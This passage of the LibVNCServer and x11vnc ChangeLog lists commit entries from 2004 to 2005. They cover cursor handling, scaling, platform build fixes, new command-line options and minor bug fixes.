runge <runge> 6423 6424 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6425 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: fix event leaks, build-time customizations, -nolookup 6426 6427 2005-03-20 runge <runge> 6428 6429 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6430 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: scale cursors, speed up some scaling, alt arrows, -norepeat 6431 N 6432 6433 2005-03-12 runge <runge> 6434 6435 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6436 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: X DAMAGE support, -clip WxH+X+Y, identd. 6437 6438 2005-03-09 dscho <dscho> 6439 6440 * test/encodingstest.c: fix compilation when no libz is available 6441 6442 2005-03-07 dscho <dscho> 6443 6444 * configure.ac, rfb/rfbproto.h: do the in_addr_t stuff correctly... 6445 6446 2005-03-07 dscho <dscho> 6447 6448 * configure.ac: check for in_addr_t 6449 6450 2005-03-06 dscho <dscho> 6451 6452 * client_examples/SDLvncviewer.c: fix for older SDL versions 6453 6454 2005-03-05 runge <runge> 6455 6456 * ChangeLog, Makefile.am, configure.ac, libvncserver/Makefile.am: autoconf: rpm -> rpmbuild and echo -n -> printf 6457 6458 2005-03-05 runge <runge> 6459 6460 * ChangeLog, libvncclient/sockets.c, libvncserver/cargs.c, 6461 libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, 6462 rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6463 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: add '-listen ipaddr' option 6464 6465 2005-03-01 dscho <dscho> 6466 6467 * client_examples/ppmtest.c: do not crash when /tmp is not writable 6468 6469 2005-02-23 runge <runge> 6470 6471 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: final changes for 0.7.1 release. 6472 6473 2005-02-22 runge <runge> 6474 6475 * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6476 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -nap is now the default, version str 0.7.1. 6477 6478 2005-02-14 runge <runge> 6479 6480 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6481 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -users lurk=, -solid for cde, -gui ez,.. beginner mode. 6482 6483 2005-02-11 runge <runge> 6484 6485 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6486 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -input to fine tune allow user input. per-client settings 6487 -R 6488 6489 2005-02-09 runge <runge> 6490 6491 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6492 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6493 x11vnc/x11vnc.c: x11vnc -users, fix -solid on gnome/kde, configure.ac pwd.h wait.h 6494 and utmpx.h 6495 6496 2005-02-07 runge <runge> 6497 6498 * ChangeLog, prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: few tweaks for next release 6499 6500 2005-02-07 runge <runge> 6501 6502 * ChangeLog, configure.ac: configure.ac: --with-jpeg=DIR --with-zlib=DIR, /usr/sfw 6503 6504 2005-02-05 runge <runge> 6505 6506 * ChangeLog, tightvnc-1.3dev5-vncviewer-alpha-cursor.patch, 6507 x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6508 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -solid color, -opts; tightvnc unix viewer alpha patch 6509 6510 2005-01-25 dscho <dscho> 6511 6512 * TODO, libvncserver/rfbserver.c: 10l: really fix preferredEncoding 6513 set from outside 6514 6515 2005-01-24 runge <runge> 6516 6517 * x11vnc/x11vnc.c: whoops, test version of x11vnc.c leaked out... 6518 6519 2005-01-24 runge <runge> 6520 6521 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6522 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: sync with new cursor mechanism, -timeout, -noalphablend, try :0 if 6523 no other info 6524 6525 2005-01-23 dscho <dscho> 6526 6527 * test/cursortest.c: test Floyd-Steinberg dither for alpha masks 6528 6529 2005-01-21 dscho <dscho> 6530 6531 * TODO, libvncserver/cursor.c, rfb/rfb.h: implemented 6532 Floyd-Steinberg dither in order to rfbMakeMaskFromAlphaSource 6533 6534 2005-01-21 dscho <dscho> 6535 6536 * VisualNaCro/recorder.pl: use Getopt 6537 6538 2005-01-21 dscho <dscho> 6539 6540 * libvncclient/vncviewer.c: if no argc & argv are passed, honour the 6541 serverHost&serverPort which was set by the application 6542 6543 2005-01-20 dscho <dscho> 6544 6545 * test/cursortest.c: no need to strdup for MakeXCursor 6546 6547 2005-01-20 dscho <dscho> 6548 6549 * ChangeLog, libvncserver/cursor.c: disappearing cursor fixed & 6550 debug message purged 6551 6552 2005-01-20 dscho <dscho> 6553 6554 * libvncserver/cursor.c, libvncserver/main.c, 6555 libvncserver/rfbserver.c: fix disappearing cursor 6556 6557 2005-01-19 dscho <dscho> 6558 6559 * libvncserver/cursor.c: redraw region under old cursor even if the 6560 old cursor doesn't have to be freed. 6561 6562 2005-01-19 dscho <dscho> 6563 6564 * TODO: a granted wish has several children ;-) 6565 6566 2005-01-19 dscho <dscho> 6567 6568 * test/encodingstest.c: fix test (don't show cursor...); correctly 6569 set the encodings in the client; really test 20 seconds 6570 6571 2005-01-19 dscho <dscho> 6572 6573 * libvncserver/cursor.c: oops, a debug message slipped through 6574 6575 2005-01-18 dscho <dscho> 6576 6577 * ChangeLog, contrib/zippy.c, examples/example.c, 6578 libvncserver/cursor.c, libvncserver/main.c, 6579 libvncserver/rfbserver.c, libvncserver/selbox.c, rfb/rfb.h, 6580 vncterm/VNConsole.c, x11vnc/x11vnc.c: pointerClient was still 6581 static. do not make requestedRegion empty without reason. the cursor handling for clients which don't handle CursorShape 6582 updates was completely broken. It originally was very complicated 6583 for performance reasons, however, in most cases it made performance 6584 even worse, because at idle times there was way too much checking 6585 going on, and furthermore, sometimes unnecessary updates were 6586 inevitable. The code now is much more elegant: the ClientRec structure knows 6587 exactly where it last painted the cursor, and the ScreenInfo 6588 structure knows where the cursor shall be. As a consequence there is no more rfbDrawCursor()/rfbUndrawCursor(), 6589 no more dontSendFramebufferUpdate, and no more isCursorDrawn. It is 6590 now possible to have clients which understand CursorShape updates 6591 and clients which don't at the same time. rfbSetCursor no longer has the option freeOld; this is obsolete, as 6592 the cursor structure knows what to free and what not. 6593 6594 2005-01-18 dscho <dscho> 6595 6596 * libvncserver/rfbregion.c, rfb/rfbregion.h: add convenience 6597 function to clip using x2,y2 instead of w,h 6598 6599 2005-01-18 dscho <dscho> 6600 6601 * test/Makefile.am, test/cursortest.c: add a cursor test 6602 (interactive for now) 6603 6604 2005-01-18 dscho <dscho> 6605 6606 * VisualNaCro/.cvsignore: more ignorance 6607 6608 2005-01-17 dscho <dscho> 6609 6610 * index.html: LibVNCClient is included 6611 6612 2005-01-17 dscho <dscho> 6613 6614 * index.html: alpha cursor and VisualNaCro news 6615 6616 2005-01-16 dscho <dscho> 6617 6618 * VisualNaCro/.cvsignore: ignore generated files 6619 6620 2005-01-16 runge <runge> 6621 6622 * ChangeLog, libvncserver/cursor.c, rfb/rfb.h, x11vnc/ChangeLog, 6623 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6624 x11vnc/x11vnc.c: add cursor alphablending to rfb.h cursor.c, x11vnc -alphablend 6625 -snapfb etc.. 6626 6627 2005-01-14 dscho <dscho> 6628 6629 * VisualNaCro/Makefile.am, VisualNaCro/default8x16.h, 6630 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 6631 fix most TODOs; recorder.pl now actually records something; add 6632 nacro.pm to package 6633 6634 2005-01-14 dscho <dscho> 6635 6636 * examples/example.c: reverted segfault fix; use rfbDrawCharWithClip 6637 6638 2005-01-14 dscho <dscho> 6639 6640 * libvncserver/font.c: add comment "if col=bcol, assume background 6641 is transparent" 6642 6643 2005-01-14 dscho <dscho> 6644 6645 * libvncserver/main.c: fix comment 6646 6647 2005-01-14 dscho <dscho> 6648 6649 * libvncserver/rfbserver.c: close socket in ClientConnectionGone 6650 6651 2005-01-14 dscho <dscho> 6652 6653 * configure.ac: new version... 6654 6655 2005-01-14 dscho <dscho> 6656 6657 * VisualNaCro/AUTHORS, VisualNaCro/ChangeLog, 6658 VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README, 6659 VisualNaCro/autogen.sh, VisualNaCro/configure.ac, 6660 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 6661 VisualNacro, a visual macro recorder for VNC. Alpha version 6662 6663 2005-01-14 dscho <dscho> 6664 6665 * libvncserver/main.c, rfb/rfb.h: return value of rfbProcessEvents 6666 tells if an update was pending 6667 6668 2005-01-14 dscho <dscho> 6669 6670 * libvncserver/font.c: fix segfault when trying to write outside of 6671 frameBuffer 6672 6673 2005-01-14 dscho <dscho> 6674 6675 * libvncclient/vncviewer.c: argc and argv may be zero (which means 6676 to ignore them) 6677 6678 2005-01-03 dscho <dscho> 6679 6680 * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: add hook 6681 to allow for custom client messages 6682 6683 2004-12-27 runge <runge> 6684 6685 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6686 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: improve XFIXES cursor transparency, more remote-control 6687 cmds. 6688 6689 2004-12-23 runge <runge> 6690 6691 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 6692 6693 2004-12-23 runge <runge> 6694 6695 * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 6696 6697 2004-12-23 runge <runge> 6698 6699 * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 6700 6701 2004-12-23 runge <runge> 6702 6703 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 6704 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6705 x11vnc/x11vnc.c: x11vnc: minor tweaks for x11vnc 0.7 file release 6706 6707 2004-12-20 dscho <dscho> 6708 6709 * index.html: Ooh, I'm lazy. Some news were added retroactively. 6710 6711 2004-12-20 dscho <dscho> 6712 6713 * ChangeLog, configure.ac, index.html: released 0.7 6714 6715 2004-12-20 dscho <dscho> 6716 6717 * examples/mac.c: compile fix on mac; still untested... 6718 6719 2004-12-20 dscho <dscho> 6720 6721 * test/Makefile.am: fix for MinGW 6722 6723 2004-12-20 runge <runge> 6724 6725 * x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 6726 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: minor tweaks for 0.7 file release 6727 6728 2004-12-20 runge <runge> 6729 6730 * ChangeLog, libvncserver/cursor.c, x11vnc/ChangeLog, 6731 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6732 x11vnc/x11vnc.c: x11vnc: synchronous mode for -remote, string cleanup 6733 6734 2004-12-17 dscho <dscho> 6735 6736 * libvncserver/cursor.c: don't mix up width & height! 6737 6738 2004-12-17 runge <runge> 6739 6740 * ChangeLog, test/encodingstest.c, x11vnc/ChangeLog, x11vnc/README, 6741 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6742 x11vnc/x11vnc.c: x11vnc: XFIXES cursorshape, XRANDR resize, remote control, gui 6743 6744 2004-12-01 dscho <dscho> 6745 6746 * rfb/rfb.h: fix compilation on non MinGW32... 6747 6748 2004-12-01 dscho <dscho> 6749 6750 * ChangeLog, TODO, client_examples/Makefile.am, 6751 client_examples/SDLvncviewer.c, configure.ac, contrib/Makefile.am, 6752 examples/Makefile.am, examples/vncev.c, libvncclient/listen.c, 6753 libvncclient/rfbproto.c, libvncclient/sockets.c, 6754 libvncclient/vncviewer.c, libvncserver-config.in, 6755 libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, 6756 rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, vncterm/Makefile.am, 6757 x11vnc/Makefile.am: support MinGW32! 6758 6759 2004-12-01 dscho <dscho> 6760 6761 * AUTHORS, libvncclient/listen.c, libvncclient/sockets.c, 6762 libvncclient/vncviewer.c: use rfbClientErr to log errors, check if 6763 calloc succeded (both hinted by Andre Leiradella) 6764 6765 2004-11-30 dscho <dscho> 6766 6767 * ChangeLog, libvncclient/sockets.c: fix long reads (in some events 6768 of success, no TRUE was returned) 6769 6770 2004-11-30 dscho <dscho> 6771 6772 * rfb/rfbproto.h: add EncodingUltra; it is not implemented in the 6773 libraries yet, so this is just a place holder 6774 6775 2004-10-16 dscho <dscho> 6776 6777 * TODO: TODOs from encodingstest 6778 6779 2004-10-16 dscho <dscho> 6780 6781 * test/.cvsignore: tight-1 -> encodingstest 6782 6783 2004-10-16 dscho <dscho> 6784 6785 * test/Makefile.am, test/encodingstest.c, test/tight-1.c: rename 6786 tight-1.c into encodingstest.c, fixing it in the process. It now 6787 passes all encodings except corre (broken) and zrle (not yet 6788 implemented in libvncclient) 6789 6790 2004-10-16 dscho <dscho> 6791 6792 * libvncclient/rfbproto.c, libvncclient/sockets.c, 6793 libvncclient/tight.c, libvncclient/vncviewer.c, 6794 libvncclient/zlib.c, rfb/rfbclient.h: move read buffer to rfbClient 6795 structure (thread safety); make rfbClientLog overrideable 6796 6797 2004-10-15 dscho <dscho> 6798 6799 * test/tight-1.c: compiles, 1st run is okay, 2nd and subsequent give 6800 errors. Evidently, libvncclient is not yet reentrant (or 6801 threadsafe). 6802 6803 2004-10-15 dscho <dscho> 6804 6805 * libvncclient/vncviewer.c: no need to modify argv 6806 6807 2004-10-15 dscho <dscho> 6808 6809 * TODO: ideas 6810 6811 2004-10-15 dscho <dscho> 6812 6813 * test/tight-1.c: compiling, non functional version of a unit test 6814 for encodings 6815 6816 2004-10-04 dscho <dscho> 6817 6818 * TODO: cursor problem 6819 6820 2004-10-02 dscho <dscho> 6821 6822 * libvncserver/rfbserver.c: release client list mutex earlier 6823 6824 2004-09-14 dscho <dscho> 6825 6826 * index.html, success.html: added success stories and link to 6827 x11vnc's home 6828 6829 2004-09-14 dscho <dscho> 6830 6831 * success.html: add success stories (only one at the moment) 6832 6833 2004-09-07 dscho <dscho> 6834 6835 * index.html: new API 6836 6837 2004-09-03 dscho <dscho> 6838 6839 * libvncserver/rfbregion.c: output only via rfbErr 6840 6841 2004-09-03 dscho <dscho> 6842 6843 * libvncserver-config.in: libvncserver.a is in libvncserver/ now 6844 6845 2004-09-01 runge <runge> 6846 6847 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 6848 x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: new pointer input handling algorithm; x11vnc pkg installs 6849 java viewer 6850 6851 2004-08-30 dscho <dscho> 6852 6853 * ChangeLog: API changes 6854 6855 2004-08-30 dscho <dscho> 6856 6857 * contrib/zippy.c, examples/colourmaptest.c, examples/example.c, 6858 examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c, 6859 examples/vncev.c, libvncclient/rfbproto.c, libvncserver/auth.c, 6860 libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c, 6861 libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/font.c, 6862 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, 6863 libvncserver/rfbserver.c, libvncserver/rre.c, 6864 libvncserver/selbox.c, libvncserver/sockets.c, 6865 libvncserver/stats.c, libvncserver/tight.c, 6866 libvncserver/translate.c, libvncserver/vncauth.c, 6867 libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h, 6868 rfb/rfbproto.h, test/cargstest.c, test/copyrecttest.c, 6869 vncterm/LinuxVNC.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 6870 x11vnc/x11vnc.c: global structures/functions should have "rfb", 6871 "sra" or "zrle" as prefix, while structure members should not 6872 6873 2004-08-30 dscho <dscho> 6874 6875 * client_examples/Makefile.am: my ffmpeg was compiled with 6876 mp3lame... 6877 6878 2004-08-30 runge <runge> 6879 6880 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6881 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -cursor change shape handling, configure.ac: add more 6882 macros for X extensions 6883 6884 2004-08-17 dscho <dscho> 6885 6886 * index.html: news: QEMU patch v6 6887 6888 2004-08-15 runge <runge> 6889 6890 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 6891 x11vnc/x11vnc.c: x11vnc: -overlay to fix colors with Sun 8+24 overlay visuals. -sid 6892 option. 6893 6894 2004-08-04 runge <runge> 6895 6896 * x11vnc/README, x11vnc/x11vnc.1: fix XKBlib.h detection on *BSD, x11vnc: manpage and README 6897 6898 2004-08-04 runge <runge> 6899 6900 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, 6901 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c: fix XKBlib.h detection on *BSD, x11vnc: manpage and README 6902 6903 2004-07-31 runge <runge> 6904 6905 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: adjust version number and output 6906 6907 2004-07-31 runge <runge> 6908 6909 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -cursorpos now the default, fix cursorpos + scaling bug. 6910 6911 2004-07-29 runge <runge> 6912 6913 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -add_keysyms dynamically add missing keysyms to X server 6914 6915 2004-07-27 runge <runge> 6916 6917 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -xkb (XKEYBOARD modtweak), -skip_keycodes, multi lines in 6918 x11vncrc 6919 6920 2004-07-19 runge <runge> 6921 6922 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: ignore keysyms >4 for a keycode, add lastmod to -help, 6923 -version 6924 6925 2004-07-16 runge <runge> 6926 6927 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/x11vnc.c: modtweak is now the default for x11vnc; check X11/XKBlib.h in 6928 configure.ac 6929 6930 2004-07-11 runge <runge> 6931 6932 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -norepeat to turn off X server autorepeat when clients 6933 exist. 6934 6935 2004-07-05 runge <runge> 6936 6937 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: extend -allow to re-read a file with allowed IP addresses. 6938 6939 2004-07-02 runge <runge> 6940 6941 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: improve scaled grid calc to regain text compression. add 6942 :pad option 6943 6944 2004-06-30 dscho <dscho> 6945 6946 * libvncclient/vncviewer.c: do not use GNU-only getline 6947 6948 2004-06-28 runge <runge> 6949 6950 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: round scaled width to multiple of 4 to make vncviewer 6951 happy. 6952 6953 2004-06-27 runge <runge> 6954 6955 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: speed up scaling a bit, add no blending option to -scale 6956 6957 2004-06-26 runge <runge> 6958 6959 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: add "-scale fraction" for global server-side scaling. 6960 6961 2004-06-18 dscho <dscho> 6962 6963 * libvncserver/zrleencodetemplate.c, test/tight-1.c, 6964 vncterm/LinuxVNC.c, vncterm/VNCommand.c, vncterm/VNConsole.c, 6965 vncterm/example.c: convert c++ comments to c comments 6966 6967 2004-06-18 dscho <dscho> 6968 6969 * libvncserver/sockets.c: debug 6970 6971 2004-06-18 dscho <dscho> 6972 6973 * client_examples/SDLvncviewer.c: cleanups; libvncclient supports 6974 -encodings already 6975 6976 2004-06-18 dscho <dscho> 6977 6978 * client_examples/vnc2mpg.c: cleanups; support vncrec'orded files as 6979 input 6980 6981 2004-06-18 dscho <dscho> 6982 6983 * examples/example.c, examples/pnmshow.c, examples/pnmshow24.c: now 6984 that the examples reside in a subdirectory, the classes path has to 6985 be adapted 6986 6987 2004-06-18 dscho <dscho> 6988 6989 * rfb/rfbclient.h: more comments; support playing vncrec'orded files 6990 6991 2004-06-18 dscho <dscho> 6992 6993 * libvncclient/rfbproto.c, libvncclient/sockets.c, 6994 libvncclient/vncviewer.c: support password reading with getpass(); 6995 support -play to play vncrec'orded files 6996 6997 2004-06-17 runge <runge> 6998 6999 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: simple ~/.x11vncrc config file support, -rc, -norc 7000 7001 2004-06-15 dscho <dscho> 7002 7003 * TODO: fixed 7004 7005 2004-06-15 dscho <dscho> 7006 7007 * libvncclient/hextile.c: fix silly hextile bug 7008 7009 2004-06-15 dscho <dscho> 7010 7011 * libvncclient/rfbproto.c: recognize more encodings 7012 7013 2004-06-15 dscho <dscho> 7014 7015 * libvncclient/sockets.c: debug 7016 7017 2004-06-15 dscho <dscho> 7018 7019 * libvncserver/rfbserver.c: fix CoRRE with maxRectsPerUpdate bug 7020 7021 2004-06-15 dscho <dscho> 7022 7023 * libvncclient/rfbproto.c: fix silly update bug with raw encoding 7024 7025 2004-06-12 runge <runge> 7026 7027 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -clear_mods -clear_keys -storepasswd, add RFB_SERVER_IP 7028 RFB_SERVER_PORT to -accept/-gone 7029 7030 2004-06-08 dscho <dscho> 7031 7032 * client_examples/Makefile.am, configure.ac: fix compilation on IRIX 7033 7034 2004-06-08 dscho <dscho> 7035 7036 * configure.ac: fix test for sdl 7037 7038 2004-06-08 dscho <dscho> 7039 7040 * client_examples/SDLvncviewer.c: fix compilation on MacOSX 7041 7042 2004-06-07 dscho <dscho> 7043 7044 * index.html: layout and wording fix 7045 7046 2004-06-07 dscho <dscho> 7047 7048 * index.html: more news 7049 7050 2004-06-07 dscho <dscho> 7051 7052 * .cvsignore, prepare_x11vnc_dist.sh: now that it is released, 7053 increment x11vnc's version 7054 7055 2004-06-07 dscho <dscho> 7056 7057 * .cvsignore, client_examples/.cvsignore, libvncclient/.cvsignore, 7058 libvncserver/.cvsignore, test/.cvsignore, x11vnc/.cvsignore: all 7059 this moving and renaming needs changes in the cvsignores, too! 7060 7061 2004-06-07 dscho <dscho> 7062 7063 * LibVNCServer.spec.in, Makefile.am, libvncserver.spec.in, 7064 prepare_x11vnc_dist.sh: fix bug 968264: make rpm did not work with 7065 x11vnc package 7066 7067 2004-06-07 dscho <dscho> 7068 7069 * client_examples/Makefile.am, client_examples/vnc2mpg.c, 7070 configure.ac: add vnc2mpg, a program which makes a movie from a VNC 7071 desktop using FFMPEG 7072 7073 2004-06-07 dscho <dscho> 7074 7075 * TODO, client_examples/SDLvncviewer.c: added -encodings 7076 7077 2004-06-07 dscho <dscho> 7078 7079 * ChangeLog, TODO, libvncserver/cursor.c, rfb/rfb.h: fix cursor 7080 trails (when not using cursor encoding and moving the cursor, the 7081 redrawn part of the screen didn't get updated, and so left cursor 7082 trails). 7083 7084 2004-06-07 dscho <dscho> 7085 7086 * client_examples/SDLvncviewer.c: add mouse button handling 7087 7088 2004-06-07 dscho <dscho> 7089 7090 * ChangeLog, Makefile.am, TODO, client_examples/Makefile.am, 7091 client_examples/SDLvncviewer.c, client_examples/ppmtest.c, 7092 configure.ac, contrib/Makefile.am, examples/Makefile.am, 7093 examples/blooptest.c, examples/copyrecttest.c, 7094 libvncclient/Makefile.am, libvncclient/client_test.c, 7095 libvncclient/sockets.c, libvncclient/vncviewer.c, 7096 libvncserver/Makefile.am, prepare_x11vnc_dist.sh, rfb/rfbclient.h, 7097 test/Makefile.am, test/blooptest.c, test/copyrecttest.c, 7098 test/tight-1.c, x11vnc/Makefile.am: add client_examples/, add 7099 SDLvncviewer, libvncclient API changes, suppress automake CFLAGS 7100 nagging 7101 7102 2004-06-06 runge <runge> 7103 7104 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: rearrange file for easier maintenance, add RFB_CLIENT_COUNT 7105 to -accept/-gone 7106 7107 2004-05-28 runge <runge> 7108 7109 * x11vnc/x11vnc.c: [no log message] 7110 7111 2004-05-27 runge <runge> 7112 7113 * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c, 7114 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: view-only plain passwd: -viewpasswd and 2nd line of 7115 -passwdfile 7116 7117 2004-05-25 dscho <dscho> 7118 7119 * prepare_x11vnc_dist.sh: a script which automatically converts a 7120 few files to make an x11vnc release 7121 7122 2004-05-25 dscho <dscho> 7123 7124 * configure.ac: -lvncserver is not default now 7125 7126 2004-05-25 dscho <dscho> 7127 7128 * ChangeLog, Makefile.am, auth.c, cargs.c, configure.ac, 7129 contrib/ChangeLog, contrib/Makefile.am, contrib/x11vnc.c, corre.c, 7130 cursor.c, cutpaste.c, d3des.c, d3des.h, draw.c, 7131 examples/Makefile.am, examples/regiontest.c, font.c, hextile.c, 7132 httpd.c, libvncclient/rfbproto.c, libvncserver/Makefile.am, 7133 libvncserver/auth.c, libvncserver/cargs.c, libvncserver/config.h, 7134 libvncserver/corre.c, libvncserver/cursor.c, 7135 libvncserver/cutpaste.c, libvncserver/d3des.c, 7136 libvncserver/d3des.h, libvncserver/draw.c, libvncserver/font.c, 7137 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, 7138 libvncserver/rfbconfig.h, libvncserver/rfbregion.c, 7139 libvncserver/rfbserver.c, libvncserver/rre.c, 7140 libvncserver/selbox.c, libvncserver/sockets.c, 7141 libvncserver/stats.c, libvncserver/tableinit24.c, 7142 libvncserver/tableinitcmtemplate.c, 7143 libvncserver/tableinittctemplate.c, 7144 libvncserver/tabletrans24template.c, 7145 libvncserver/tabletranstemplate.c, libvncserver/tight.c, 7146 libvncserver/translate.c, libvncserver/vncauth.c, 7147 libvncserver/zlib.c, libvncserver/zrle.c, 7148 libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, 7149 libvncserver/zrleoutstream.h, libvncserver/zrlepalettehelper.c, 7150 libvncserver/zrlepalettehelper.h, libvncserver/zrletypes.h, main.c, 7151 rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c, 7152 tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, 7153 tabletrans24template.c, tabletranstemplate.c, test/Makefile.am, 7154 tight.c, translate.c, vncauth.c, vncterm/Makefile.am, 7155 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c, zlib.c, 7156 zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, 7157 zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: move the 7158 library into libvncserver/, x11vnc into x11vnc/ 7159 7160 2004-05-22 runge <runge> 7161 7162 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c, httpd.c: x11vnc: -gone, -passwdfile, -o logfile; add view-only to -accept 7163 7164 2004-05-14 runge <runge> 7165 7166 * contrib/x11vnc.c: x11vnc: more -inetd fixes. 7167 7168 2004-05-14 runge <runge> 7169 7170 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: less fprintf under -q so '-q -inetd' has no stderr output. 7171 7172 2004-05-13 runge <runge> 7173 7174 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: improvements to -accept popup: yes/no buttons and timeout. 7175 7176 2004-05-08 runge <runge> 7177 7178 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: clean up -Wall warnings. 7179 7180 2004-05-08 runge <runge> 7181 7182 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -accept some-command/xmessage/popup 7183 7184 2004-05-06 runge <runge> 7185 7186 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: mouse -> keystroke and keystroke -> mouse remappings. 7187 7188 2004-05-05 dscho <dscho> 7189 7190 * rfbserver.c, sockets.c: prevent segmentation fault when requested 7191 area is too big; if select is interrupted while WriteExact, just try 7192 again. 7193 7194 2004-04-28 runge <runge> 7195 7196 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -auth, more -cursorpos and -nofb work 7197 7198 2004-04-20 runge <runge> 7199 7200 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -cursorpos for Cursor Position Updates, and -sigpipe 7201 7202 2004-04-19 dscho <dscho> 7203 7204 * main.c: ignore SIGPIPE the correct way 7205 7206 2004-04-13 runge <runge> 7207 7208 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: do not send selection unless all clients are in RFB_NORMAL 7209 state. increase rfbMaxClientWait when threaded to avoid 7210 ReadExact() timeouts for some viewers. 7211 7212 2004-04-12 dscho <dscho> 7213 7214 * 